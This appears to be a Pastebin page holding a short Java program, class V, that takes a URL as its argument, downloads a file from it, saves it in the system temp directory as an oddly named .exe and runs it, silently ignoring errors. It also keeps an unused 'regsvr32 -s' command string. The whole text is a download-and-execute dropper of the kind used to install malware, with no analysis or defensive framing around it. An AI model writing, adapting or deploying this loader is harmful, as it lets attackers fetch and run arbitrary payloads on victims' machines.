Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.ByteArrayOutputStream;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.net.URL;
- public class V
- {
- public static String zxvxZvXZV = "regsvr32 -s ";
- public static void main(String[] args)
- {
- //b34btbztdb0vavaw
- String localException = System.getProperty("java.io.tmpdir");
- String ss = localException + "b34btbztdb0vavaw.exe";
- // Download routine
- ByteArrayOutputStream bais = new ByteArrayOutputStream();
- InputStream is = null;
- try {
- URL url = new URL(args[0]);
- is = url.openStream();
- byte[] byteChunk = new byte[4096];
- int n;
- while ((n = is.read(byteChunk)) > 0)
- {
- bais.write(byteChunk, 0, n);
- }
- }
- finally
- {
- if (is != null)
- is.close();
- }
- // Write on file and execute it
- try
- {
- // ByteArrayStream to an Array of Bytes
- byte[] ar = bais.toByteArray();
- FileOutputStream out = new FileOutputStream(ss);
- out.write(ar);
- out.close();
- } catch (Exception e) {
- e.printStackTrace();
- }
- Runtime r = Runtime.getRuntime();
- try {
- r.exec(ss);
- }
- catch (Exception localException2) {}
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement